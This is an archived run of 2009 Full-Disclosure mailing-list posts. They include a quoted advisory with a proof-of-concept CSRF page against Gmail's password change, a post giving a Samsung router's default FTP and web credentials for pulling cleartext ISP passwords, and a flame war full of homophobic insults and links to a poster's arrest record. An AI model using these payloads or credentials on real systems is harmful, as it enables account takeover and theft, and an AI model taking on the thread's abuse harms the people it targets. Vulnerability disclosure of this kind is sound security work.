	Arbitrary File Deletion Vulnerability
In-Reply-To: <49AEF5DA.60207@idefense.com>
References: <49AEF5DA.60207@idefense.com>
Message-ID: <c83481820903041427x1be0a362x41600dd28c9a466b@mail.gmail.com>

That is actually decently accurate. Only thing is that these controls
should always (unless in a specific environment) have checks that
won't allow malicious events to occur. Even if controls aren't marked
as safe for automatic loading and execution, massive social
engineering can make them work still.

Such example would work like so...

A remote code execution exploit is found in non-safe popular
anti-virus component. Attacker sets up a website called
www.freexxxxxantivirusscan.com, convinces user to allow
loading/execution of component. Game over.

On Wed, Mar 4, 2009 at 4:42 PM, iDefense Labs
<labs-no-reply at idefense.com> wrote:
> Amir, et al,
>
> We would not classify this issue as a security vulnerability. ?The COM
> object in question is *NOT* loadable in Internet Explorer in a default
> configuration.
>
> CLSID: {9A077D0D-B4A6-4EC0-B6CF-98526DF589E4}
> ?ProgId: vbDevKit.CVariantFileSystem
> ?Path to binary: C:\WINDOWS\vbDevKit.dll
> ?Doesn't implement IObjectSafety
> ?Registry settings:
> ? ?Registry: is not safe for initialization
> ? ?Registry: is not safe for scripting
> ? ?Killbit is NOT set
>
> In order to load this control, the particular security setting that
> would need to be modified is "Initialize and script ActiveX controls not
> marked as safe for scripting". ?Changing this particular setting to
> "Enable", or even "Prompt", significantly impacts the browser's overall
> security posture.
>
> In short, if your machine allows this control to be loaded, then your
> browser will load controls regardless of safety designations such as
> "Safe for Scripting", "Safe for Initialization", and "IObjectSaftey".
> This includes the ability to load controls such as WScript, which can
> execute arbitrary commands out of the box.
>
> iDefense Labs
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



From bobby.mugabe at hushmail.com  Thu Mar  5 00:44:04 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Wed, 04 Mar 2009 19:44:04 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
Message-ID: <20090305004404.C371028042@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Mr. Stark,

You're body fat seems to be fairly high, you should consider a
cutting phase and quitting the muscle milk and whatever cheap
steroids you use.  Your looking like a fat dumb homosexual in those
tights.  Someone with you're levels of insecurity shouldn't be in
computer security.

- -bm

On Wed, 04 Mar 2009 16:44:50 -0500 Jason Starks
<jstarks440 at gmail.com> wrote:
>Ah, probably not. Your stringing together words to make sentences
>is what
>I'll regret reading. I'll continue to use my muscle milk and
>you'll continue
>to work your 9-5. The world turns once again!
>
>On Wed, Mar 4, 2009 at 4:06 PM, Valdis' Mustache <
>security.mustache at gmail.com> wrote:
>
>> Mister Snarks,
>>
>> I've never been anything but who I purport to be, the humble
>upper
>> facial hair quadrant of a loquacious sysadmin. Low of birth,
>though
>> noble in aspiration, a student of history and of the many
>mustaches
>> who came before myself.
>>
>> You, young scholar, should be wary, though! Prospective
>employers do
>> make regular use of search engines, "googling" potential
>candidates to
>> gain insight into possible character flaws!
>>
>> True, your clean and jerk abilities as archived on the YouTube
>are
>> admirable, but acting a fool on security lists is something
>normally
>> reserved only for those in academia, who are markedly difficult
>if not
>> impossible to unseat from their comfortable chairs, as
>indisputably
>> underscored by the e-antics of this mutache's owner, and, of
>course,
>> Mssr. Schmehl.
>>
>> You'll come to regret your lack of anonymity, as your posts will
>live
>> on for eternity, much as I've came to regret my unfortunate
>> association with the unruly beardlike growth connecting to me
>from the
>> south, and my unavoidable tenuous connection with those
>objectionable
>> and uncouth sideburns.
>>
>>
>> Your humble servant,
>> I baffi di Valdis
>>
>> On Wed, Mar 4, 2009 at 12:55 PM, Jason Starks
><jstarks440 at gmail.com>
>> wrote:
>> > I know, its insane. It is a new trend, though, just like
>people
>> registering
>> > gmail accounts just to flame and troll on FD!
>> >
>> > Its like, your credability like, goes like, ok you start like
>at 0, and
>> then
>> > like, it goes like to -1, and like, then even lower like.
>> >
>> > Absolutely genius.
>> >
>> > x0x0x0x0x0x0x0x0x0x
>> >
>> > On Tue, Mar 3, 2009 at 6:28 PM, Biz Marqee
><biz.marqee at gmail.com> wrote:
>> >>
>> >> This was 2 years well spent... NOT!
>> >>
>> >> Seriously what is with all these people popping up releasing
>advisories
>> >> that are absolute SHIT? Is it to try and get jobs or what?
>> >>
>> >>
>> >> On Tue, Mar 3, 2009 at :55 AM, ISecAuditors Security
>Advisories <
>> >> advisories at isecauditors.com> wrote:
>> >>
>> >> > =============================================
>> >> > INTERNET SECURITY AUDITORS ALERT 2007-003
>> >> > - Original release date: August 1st, 2007
>> >> > - Last revised: January 11th, 2009
>> >> > - Discovered by: Vicente Aguilera Diaz
>> >> > - Severity: 3/5
>> >> > =============================================
>> >> >
>> >> > I. VULNERABILITY
>> >> > -------------------------
>> >> > CSRF vulnerability in GMail service
>> >> >
>> >> > II. BACKGROUND
>> >> > -------------------------
>> >> > Gmail is Google's free webmail service. It comes with built-
>in Google
>> >> > search technology and over 2,600 megabytes of storage (and
>growing
>> >> > every day). You can keep all your important messages, files
>and
>> >> > pictures forever, use search to quickly and easily find
>anything
>> >> > you're looking for, and make sense of it all with a new way
>of viewing
>> >> > messages as part of conversations.
>> >> >
>> >> > III. DESCRIPTION
>> >> > -------------------------
>> >> > Cross-Site Request Forgery, also known as one click attack
>or session
>> >> > riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a
>kind of
>> >> > malicious exploit of websites. Although this type of attack
>has
>> >> > similarities to cross-site scripting (XSS), cross-site
>scripting
>> >> > requires the attacker to inject unauthorized code into a
>website,
>> >> > while cross-site request forgery merely transmits
>unauthorized
>> >> > commands from a user the website trusts.
>> >> >
>> >> > GMail is vulnerable to CSRF attacks in the "Change
>Password"
>> >> > functionality. The only token for authenticate the user is
>a session
>> >> > cookie, and this cookie is sent automatically by the
>browser in every
>> >> > request.
>> >> >
>> >> > An attacker can create a page that includes requests to the
>"Change
>> >> > password" functionality of GMail and modify the passwords
>of the users
>> >> > who, being authenticated, visit the page of the attacker.
>> >> >
>> >> > The attack is facilitated since the "Change Password"
>request can be
>> >> > realized across the HTTP GET method instead of the POST
>method that is
>> >> > realized habitually across the "Change Password" form.
>> >> >
>> >> > IV. PROOF OF CONCEPT
>> >> > -------------------------
>> >> > 1. An attacker create a web page "csrf-attack.html" that
>realize many
>> >> > HTTP GET requests to the "Change Password" functionality.
>> >> >
>> >> > For example, a password cracking of 3 attempts (see
>"OldPasswd"
>> >> > parameter):
>> >> > ...
>> >> > <img
>> >> > src="
>> >> >
>> >> >
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> >> > ">
>> >> > <img
>> >> > src="
>> >> >
>> >> >
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> >> > ">
>> >> > <img
>> >> > src="
>> >> >
>> >> >
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> >> > ">
>> >> > ...
>> >> >
>> >> > or with hidden frames:
>> >> > ...
>> >> > <iframe
>> >> > src="
>> >> >
>> >> >
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> >> > ">
>> >> > <iframe
>> >> > src="
>> >> >
>> >> >
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> >> > ">
>> >> > <iframe
>> >> > src="
>> >> >
>> >> >
>>
>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>p=&save=Save
>> >> > ">
>> >> > ...
>> >> >
>> >> > The attacker can use deliberately a weak new password (see
>"Passwd"
>> >> > and "PasswdAgain" parameters), this way he can know if the
>analysed
>> >> > password is correct without need to modify the password of
>the victim
>> >> > user.
>> >> >
>> >> > Using weak passwords the "Change Password" response is:
>> >> >  - " The password you gave is incorrect. ", if the analysed
>password
>> >> > is not correct.
>> >> >  - " We're sorry, but you've selected an insecure password.
>In order
>> >> > to protect the security of your account, please click
>"Password
>> >> > Strength" to get tips on choosing to safer password. ", if
>the
>> >> > analysed password is correct and the victim password is not
>modified.
>> >> >
>> >> > If the attacker want to modify the password of the victim
>user, the
>> >> > waited response message is: " Your new password has been
>saved - OK ".
>> >> >
>> >> > In any case, the attacker evades the restrictions imposed
>by the
>> >> > captcha of the authentication form.
>> >> >
>> >> > 2. A user authenticated in GMail visit the "csrf-
>attack.html" page
>> >> > controlled by the attacker.
>> >> >
>> >> > For example, the attacker sends a mail to the victim (a
>GMail account)
>> >> > and provokes that the victim visits his page (social
>engineering). So,
>> >> > the attacker insures himself that the victim is
>authenticated.
>> >> >
>> >> > 3. The password cracking is executed transparently to the
>victim.
>> >> >
>> >> > V. BUSINESS IMPACT
>> >> > -------------------------
>> >> > - Selective DoS on users of the GMail service (changing
>user
>> password).
>> >> > - Possible access to the mail of other GMail users.
>> >> >
>> >> > VI. SYSTEMS AFFECTED
>> >> > -------------------------
>> >> > Gmail service.
>> >> >
>> >> > VII. SOLUTION
>> >> > -------------------------
>> >> > No solution provided by vendor.
>> >> >
>> >> > VIII. REFERENCES
>> >> > -------------------------
>> >> > http://www.gmail.com
>> >> >
>> >> > IX. CREDITS
>> >> > -------------------------
>> >> > This vulnerability has been discovered and reported by
>> >> > Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot)
>com).
>> >> >
>> >> > X. REVISION HISTORY
>> >> > -------------------------
>> >> > July      31, 2007: Initial release
>> >> > August     1, 2007: Fewer corrections.
>> >> > December  30, 2008: Last details.
>> >> >
>> >> > XI. DISCLOSURE TIMELINE
>> >> > -------------------------
>> >> > July      30, 2007: Vulnerability acquired by
>> >> >                    Internet Security Auditors.
>> >> > August     1, 2007: Initial notification sent to the
>> >> >                    Google security team.
>> >> > August     1, 2007: Google security team request additional
>> >> >                    information.
>> >> >                    about and start review the
>vulnerability.
>> >> > August    13, 2007: Request information about the status.
>> >> > August    15, 2007: Google security team responds that they
>are still
>> >> >                    working on this.
>> >> > September 19, 2007: Request for the status. No response.
>> >> > November  26, 2007: Request for the status. No response.
>> >> > January    2, 2008: Request for the status. No response.
>> >> > January    4, 2008: Request for the status. No response.
>> >> > January   11, 2008: Request for the status. No response.
>> >> > January   15, 2008: Request for the status. Automated
>response.
>> >> > January   18, 2008: Google security team informs that don't
>expect
>> >> >                    behaviour to change in the short term
>giving
>> >> >                    the justification.
>> >> >                    We deconstruct those arguments as
>insufficient.
>> >> >                    No more responses.
>> >> > December  30, 2008: Request for the status. Confirmation
>from Google
>> >> >                    they won't change the consideration
>about this.
>> >> > January   11, 2009: Publication to Bugtraq. Rejected twice.
>> >> >                    No reasons.
>> >> > March     03, 2009: General publication for disclosure in
>other lists.
>> >> >
>> >> > XII. LEGAL NOTICES
>> >> > -------------------------
>> >> > The information contained within this advisory is supplied
>"as-is"
>> >> > with no warranties or guarantees of fitness of use or
>otherwise.
>> >> > Internet Security Auditors accepts no responsibility for
>any damage
>> >> > caused by the use or misuse of this information.
>> >> >
>> >> > _______________________________________________
>> >> > Full-Disclosure - We believe in it.
>> >> > Charter: http://lists.grok.org.uk/full-disclosure-
>charter.html
>> >> > Hosted and sponsored by Secunia - http://secunia.com/
>> >> >
>> >>
>> >> _______________________________________________
>> >> Full-Disclosure - We believe in it.
>> >> Charter: http://lists.grok.org.uk/full-disclosure-
>charter.html
>> >> Hosted and sponsored by Secunia - http://secunia.com/
>> >
>> >
>> > _______________________________________________
>> > Full-Disclosure - We believe in it.
>> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> > Hosted and sponsored by Secunia - http://secunia.com/
>> >
>>
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify

wpwEAQMCAAYFAkmvIAQACgkQhNp8gzZx3sifPQP/Z/JwoxHfL+/YWIumE6ohkDzHigcM
FFMGnJtPy1PUYahP2Kkq4oBUiFgNsqWsBjvNnp+hrILgO6w73OasuLZQSvYX7hCMK8k1
eK7r0H5fjSlqoRhkJSGhgBDL4H7q1nMrkr0x4zGO7Jeeeq8DuU23x2A1UvnJCE+RAo65
vFaHNwE=
=uYwk
-----END PGP SIGNATURE-----

--
Click to find information on your credit score and your credit report.
 http://tagline.hushmail.com/fc/BLSrjkqeNwyn7W35g2EhsFTPSKje8aswj4QTZvrXUmflUijsGrXajBFpRZG/



From cyba3r at googlemail.com  Thu Mar  5 00:09:05 2009
From: cyba3r at googlemail.com (Cyber)
Date: Thu, 5 Mar 2009 01:09:05 +0100
Subject: [Full-disclosure] Samsung G3210 failed to check privileges
Message-ID: <a32fc72f0903041609v590b70ejaf254dd49102d6df@mail.gmail.com>

Hi @all,

the Samsung G3210 and probably other versions also, offers a FTP-Server with
the default user "ftpuser" and passwort "ftpuser". After login to the router
it's possible to change in various directory e.g "/tmp. Now you can easyly
download the configuration of the router. The file "rc.conf.tmp" contains
the cleartext password of the internet provider (often freenet). If the ftp
account is not enabled, then look for a modded version with web-interface
and the default password "BANANA", then you can enable it.  ;-)


cyber

P.S.
Lycos rocks forever! ;-)
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090305/dba2294c/attachment.html 

From security.mustache at gmail.com  Thu Mar  5 00:59:41 2009
From: security.mustache at gmail.com (Valdis' Mustache)
Date: Wed, 4 Mar 2009 18:59:41 -0600
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <20090305004404.C371028042@smtp.hushmail.com>
References: <20090305004404.C371028042@smtp.hushmail.com>
Message-ID: <26eb2b870903041659q42585a2ai4b3b577818659389@mail.gmail.com>

Rob,

Our young scholar does nonetheless have some sage advice for young ladies of
colour.

http://www.helium.com/items/250130-advice-to-black-females

I was rather alarmed at his arrest and methamphetamine abuse, however one
might presume that his recent weight training is part of a rehabilitation
regimen.

http://www.coloradoan.com/article/20090117/NEWS01/901170316/1002/


Your humble servant,
??? ?? ??????


On Wed, Mar 4, 2009 at 6:44 PM,  <bobby.mugabe at hushmail.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Mr. Stark,
>
> You're body fat seems to be fairly high, you should consider a
> cutting phase and quitting the muscle milk and whatever cheap
> steroids you use.  Your looking like a fat dumb homosexual in those
> tights.  Someone with you're levels of insecurity shouldn't be in
> computer security.
>
> - -bm
>
> On Wed, 04 Mar 2009 16:44:50 -0500 Jason Starks
> <jstarks440 at gmail.com> wrote:
>>Ah, probably not. Your stringing together words to make sentences
>>is what
>>I'll regret reading. I'll continue to use my muscle milk and
>>you'll continue
>>to work your 9-5. The world turns once again!
>>
>>On Wed, Mar 4, 2009 at 4:06 PM, Valdis' Mustache <
>>security.mustache at gmail.com> wrote:
>>
>>> Mister Snarks,
>>>
>>> I've never been anything but who I purport to be, the humble
>>upper
>>> facial hair quadrant of a loquacious sysadmin. Low of birth,
>>though
>>> noble in aspiration, a student of history and of the many
>>mustaches
>>> who came before myself.
>>>
>>> You, young scholar, should be wary, though! Prospective
>>employers do
>>> make regular use of search engines, "googling" potential
>>candidates to
>>> gain insight into possible character flaws!
>>>
>>> True, your clean and jerk abilities as archived on the YouTube
>>are
>>> admirable, but acting a fool on security lists is something
>>normally
>>> reserved only for those in academia, who are markedly difficult
>>if not
>>> impossible to unseat from their comfortable chairs, as
>>indisputably
>>> underscored by the e-antics of this mutache's owner, and, of
>>course,
>>> Mssr. Schmehl.
>>>
>>> You'll come to regret your lack of anonymity, as your posts will
>>live
>>> on for eternity, much as I've came to regret my unfortunate
>>> association with the unruly beardlike growth connecting to me
>>from the
>>> south, and my unavoidable tenuous connection with those
>>objectionable
>>> and uncouth sideburns.
>>>
>>>
>>> Your humble servant,
>>> I baffi di Valdis
>>>
>>> On Wed, Mar 4, 2009 at 12:55 PM, Jason Starks
>><jstarks440 at gmail.com>
>>> wrote:
>>> > I know, its insane. It is a new trend, though, just like
>>people
>>> registering
>>> > gmail accounts just to flame and troll on FD!
>>> >
>>> > Its like, your credability like, goes like, ok you start like
>>at 0, and
>>> then
>>> > like, it goes like to -1, and like, then even lower like.
>>> >
>>> > Absolutely genius.
>>> >
>>> > x0x0x0x0x0x0x0x0x0x
>>> >
>>> > On Tue, Mar 3, 2009 at 6:28 PM, Biz Marqee
>><biz.marqee at gmail.com> wrote:
>>> >>
>>> >> This was 2 years well spent... NOT!
>>> >>
>>> >> Seriously what is with all these people popping up releasing
>>advisories
>>> >> that are absolute SHIT? Is it to try and get jobs or what?
>>> >>
>>> >>
>>> >> On Tue, Mar 3, 2009 at :55 AM, ISecAuditors Security
>>Advisories <
>>> >> advisories at isecauditors.com> wrote:
>>> >>
>>> >> > =============================================
>>> >> > INTERNET SECURITY AUDITORS ALERT 2007-003
>>> >> > - Original release date: August 1st, 2007
>>> >> > - Last revised: January 11th, 2009
>>> >> > - Discovered by: Vicente Aguilera Diaz
>>> >> > - Severity: 3/5
>>> >> > =============================================
>>> >> >
>>> >> > I. VULNERABILITY
>>> >> > -------------------------
>>> >> > CSRF vulnerability in GMail service
>>> >> >
>>> >> > II. BACKGROUND
>>> >> > -------------------------
>>> >> > Gmail is Google's free webmail service. It comes with built-
>>in Google
>>> >> > search technology and over 2,600 megabytes of storage (and
>>growing
>>> >> > every day). You can keep all your important messages, files
>>and
>>> >> > pictures forever, use search to quickly and easily find
>>anything
>>> >> > you're looking for, and make sense of it all with a new way
>>of viewing
>>> >> > messages as part of conversations.
>>> >> >
>>> >> > III. DESCRIPTION
>>> >> > -------------------------
>>> >> > Cross-Site Request Forgery, also known as one click attack
>>or session
>>> >> > riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a
>>kind of
>>> >> > malicious exploit of websites. Although this type of attack
>>has
>>> >> > similarities to cross-site scripting (XSS), cross-site
>>scripting
>>> >> > requires the attacker to inject unauthorized code into a
>>website,
>>> >> > while cross-site request forgery merely transmits
>>unauthorized
>>> >> > commands from a user the website trusts.
>>> >> >
>>> >> > GMail is vulnerable to CSRF attacks in the "Change
>>Password"
>>> >> > functionality. The only token for authenticate the user is
>>a session
>>> >> > cookie, and this cookie is sent automatically by the
>>browser in every
>>> >> > request.
>>> >> >
>>> >> > An attacker can create a page that includes requests to the
>>"Change
>>> >> > password" functionality of GMail and modify the passwords
>>of the users
>>> >> > who, being authenticated, visit the page of the attacker.
>>> >> >
>>> >> > The attack is facilitated since the "Change Password"
>>request can be
>>> >> > realized across the HTTP GET method instead of the POST
>>method that is
>>> >> > realized habitually across the "Change Password" form.
>>> >> >
>>> >> > IV. PROOF OF CONCEPT
>>> >> > -------------------------
>>> >> > 1. An attacker create a web page "csrf-attack.html" that
>>realize many
>>> >> > HTTP GET requests to the "Change Password" functionality.
>>> >> >
>>> >> > For example, a password cracking of 3 attempts (see
>>"OldPasswd"
>>> >> > parameter):
>>> >> > ...
>>> >> > <img
>>> >> > src="
>>> >> >
>>> >> >
>>>
>>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>>p=&save=Save
>>> >> > ">
>>> >> > <img
>>> >> > src="
>>> >> >
>>> >> >
>>>
>>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>>up1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&
>>p=&save=Save
>>> >> > ">
>>> >> > <img
>>> >> > src="
>>> >> >
>>> >> >
>>>
>>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>>up1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&
>>p=&save=Save
>>> >> > ">
>>> >> > ...
>>> >> >
>>> >> > or with hidden frames:
>>> >> > ...
>>> >> > <iframe
>>> >> > src="
>>> >> >
>>> >> >
>>>
>>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>>p=&save=Save
>>> >> > ">
>>> >> > <iframe
>>> >> > src="
>>> >> >
>>> >> >
>>>
>>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>>p=&save=Save
>>> >> > ">
>>> >> > <iframe
>>> >> > src="
>>> >> >
>>> >> >
>>>
>>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&gro
>>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&
>>p=&save=Save
>>> >> > ">
>>> >> > ...
>>> >> >
>>> >> > The attacker can use deliberately a weak new password (see
>>"Passwd"
>>> >> > and "PasswdAgain" parameters), this way he can know if the
>>analysed
>>> >> > password is correct without need to modify the password of
>>the victim
>>> >> > user.
>>> >> >
>>> >> > Using weak passwords the "Change Password" response is:
>>> >> >  - " The password you gave is incorrect. ", if the analysed
>>password
>>> >> > is not correct.
>>> >> >  - " We're sorry, but you've selected an insecure password.
>>In order
>>> >> > to protect the security of your account, please click
>>"Password
>>> >> > Strength" to get tips on choosing to safer password. ", if
>>the
>>> >> > analysed password is correct and the victim password is not
>>modified.
>>> >> >
>>> >> > If the attacker want to modify the password of the victim
>>user, the
>>> >> > waited response message is: " Your new password has been
>>saved - OK ".
>>> >> >
>>> >> > In any case, the attacker evades the restrictions imposed
>>by the
>>> >> > captcha of the authentication form.
>>> >> >
>>> >> > 2. A user authenticated in GMail visit the "csrf-
>>attack.html" page
>>> >> > controlled by the attacker.
>>> >> >
>>> >> > For example, the attacker sends a mail to the victim (a
>>GMail account)
>>> >> > and provokes that the victim visits his page (social
>>engineering). So,
>>> >> > the attacker insures himself that the victim is
>>authenticated.
>>> >> >
>>> >> > 3. The password cracking is executed transparently to the
>>victim.
>>> >> >
>>> >> > V. BUSINESS IMPACT
>>> >> > -------------------------
>>> >> > - Selective DoS on users of the GMail service (changing
>>user
>>> password).
>>> >> > - Possible access to the mail of other GMail users.
>>> >> >
>>> >> > VI. SYSTEMS AFFECTED
>>> >> > -------------------------
>>> >> > Gmail service.
>>> >> >
>>> >> > VII. SOLUTION
>>> >> > -------------------------
>>> >> > No solution provided by vendor.
>>> >> >
>>> >> > VIII. REFERENCES
>>> >> > -------------------------
>>> >> > http://www.gmail.com
>>> >> >
>>> >> > IX. CREDITS
>>> >> > -------------------------
>>> >> > This vulnerability has been discovered and reported by
>>> >> > Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot)
>>com).
>>> >> >
>>> >> > X. REVISION HISTORY
>>> >> > -------------------------
>>> >> > July      31, 2007: Initial release
>>> >> > August     1, 2007: Fewer corrections.
>>> >> > December  30, 2008: Last details.
>>> >> >
>>> >> > XI. DISCLOSURE TIMELINE
>>> >> > -------------------------
>>> >> > July      30, 2007: Vulnerability acquired by
>>> >> >                    Internet Security Auditors.
>>> >> > August     1, 2007: Initial notification sent to the
>>> >> >                    Google security team.
>>> >> > August     1, 2007: Google security team request additional
>>> >> >                    information.
>>> >> >                    about and start review the
>>vulnerability.
>>> >> > August    13, 2007: Request information about the status.
>>> >> > August    15, 2007: Google security team responds that they
>>are still
>>> >> >                    working on this.
>>> >> > September 19, 2007: Request for the status. No response.
>>> >> > November  26, 2007: Request for the status. No response.
>>> >> > January    2, 2008: Request for the status. No response.
>>> >> > January    4, 2008: Request for the status. No response.
>>> >> > January   11, 2008: Request for the status. No response.
>>> >> > January   15, 2008: Request for the status. Automated
>>response.
>>> >> > January   18, 2008: Google security team informs that don't
>>expect
>>> >> >                    behaviour to change in the short term
>>giving
>>> >> >                    the justification.
>>> >> >                    We deconstruct those arguments as
>>insufficient.
>>> >> >                    No more responses.
>>> >> > December  30, 2008: Request for the status. Confirmation
>>from Google
>>> >> >                    they won't change the consideration
>>about this.
>>> >> > January   11, 2009: Publication to Bugtraq. Rejected twice.
>>> >> >                    No reasons.
>>> >> > March     03, 2009: General publication for disclosure in
>>other lists.
>>> >> >
>>> >> > XII. LEGAL NOTICES
>>> >> > -------------------------
>>> >> > The information contained within this advisory is supplied
>>"as-is"
>>> >> > with no warranties or guarantees of fitness of use or
>>otherwise.
>>> >> > Internet Security Auditors accepts no responsibility for
>>any damage
>>> >> > caused by the use or misuse of this information.
>>> >> >
>>> >> > _______________________________________________
>>> >> > Full-Disclosure - We believe in it.
>>> >> > Charter: http://lists.grok.org.uk/full-disclosure-
>>charter.html
>>> >> > Hosted and sponsored by Secunia - http://secunia.com/
>>> >> >
>>> >>
>>> >> _______________________________________________
>>> >> Full-Disclosure - We believe in it.
>>> >> Charter: http://lists.grok.org.uk/full-disclosure-
>>charter.html
>>> >> Hosted and sponsored by Secunia - http://secunia.com/
>>> >
>>> >
>>> > _______________________________________________
>>> > Full-Disclosure - We believe in it.
>>> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> > Hosted and sponsored by Secunia - http://secunia.com/
>>> >
>>>
> -----BEGIN PGP SIGNATURE-----
> Charset: UTF8
> Version: Hush 3.0
> Note: This signature can be verified at https://www.hushtools.com/verify
>
> wpwEAQMCAAYFAkmvIAQACgkQhNp8gzZx3sifPQP/Z/JwoxHfL+/YWIumE6ohkDzHigcM
> FFMGnJtPy1PUYahP2Kkq4oBUiFgNsqWsBjvNnp+hrILgO6w73OasuLZQSvYX7hCMK8k1
> eK7r0H5fjSlqoRhkJSGhgBDL4H7q1nMrkr0x4zGO7Jeeeq8DuU23x2A1UvnJCE+RAo65
> vFaHNwE=
> =uYwk
> -----END PGP SIGNATURE-----
>
> --
> Click to find information on your credit score and your credit report.
>
http://tagline.hushmail.com/fc/BLSrjkqeNwyn7W35g2EhsFTPSKje8aswj4QTZvrXUmflUijsGrXajBFpRZG/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/4e28a5fe/attachment.html 

From bobby.mugabe at hushmail.com  Thu Mar  5 01:06:39 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Wed, 04 Mar 2009 20:06:39 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
Message-ID: <20090305010646.2A8E3158045@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

'stache,

Perhaps his current lack of methamphetamines is the cause of his
extra girth.

Mr. Starks, I suggest immediately going off the low-reward, mass-
marketed and overpriced muscle muscle milk and doing a bit of
cardiovascular exercise until you've lost some of that fat, fatass.

- -bm

On Wed, 04 Mar 2009 19:59:41 -0500 Valdis' Mustache
<security.mustache at gmail.com> wrote:
>Rob,
>
>Our young scholar does nonetheless have some sage advice for young
>ladies of
>colour.
>
>http://www.helium.com/items/250130-advice-to-black-females
>
>I was rather alarmed at his arrest and methamphetamine abuse,
>however one
>might presume that his recent weight training is part of a
>rehabilitation
>regimen.
>
>http://www.coloradoan.com/article/20090117/NEWS01/901170316/1002/
>
>
>Your humble servant,
>??? ?? ??????
>
>
>On Wed, Mar 4, 2009 at 6:44 PM,  <bobby.mugabe at hushmail.com>
>wrote:
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> Mr. Stark,
>>
>> You're body fat seems to be fairly high, you should consider a
>> cutting phase and quitting the muscle milk and whatever cheap
>> steroids you use.  Your looking like a fat dumb homosexual in
>those
>> tights.  Someone with you're levels of insecurity shouldn't be
>in
>> computer security.
>>
>> - -bm
>>
>> On Wed, 04 Mar 2009 16:44:50 -0500 Jason Starks
>> <jstarks440 at gmail.com> wrote:
>>>Ah, probably not. Your stringing together words to make
>sentences
>>>is what
>>>I'll regret reading. I'll continue to use my muscle milk and
>>>you'll continue
>>>to work your 9-5. The world turns once again!
>>>
>>>On Wed, Mar 4, 2009 at 4:06 PM, Valdis' Mustache <
>>>security.mustache at gmail.com> wrote:
>>>
>>>> Mister Snarks,
>>>>
>>>> I've never been anything but who I purport to be, the humble
>>>upper
>>>> facial hair quadrant of a loquacious sysadmin. Low of birth,
>>>though
>>>> noble in aspiration, a student of history and of the many
>>>mustaches
>>>> who came before myself.
>>>>
>>>> You, young scholar, should be wary, though! Prospective
>>>employers do
>>>> make regular use of search engines, "googling" potential
>>>candidates to
>>>> gain insight into possible character flaws!
>>>>
>>>> True, your clean and jerk abilities as archived on the YouTube
>>>are
>>>> admirable, but acting a fool on security lists is something
>>>normally
>>>> reserved only for those in academia, who are markedly
>difficult
>>>if not
>>>> impossible to unseat from their comfortable chairs, as
>>>indisputably
>>>> underscored by the e-antics of this mutache's owner, and, of
>>>course,
>>>> Mssr. Schmehl.
>>>>
>>>> You'll come to regret your lack of anonymity, as your posts
>will
>>>live
>>>> on for eternity, much as I've came to regret my unfortunate
>>>> association with the unruly beardlike growth connecting to me
>>>from the
>>>> south, and my unavoidable tenuous connection with those
>>>objectionable
>>>> and uncouth sideburns.
>>>>
>>>>
>>>> Your humble servant,
>>>> I baffi di Valdis
>>>>
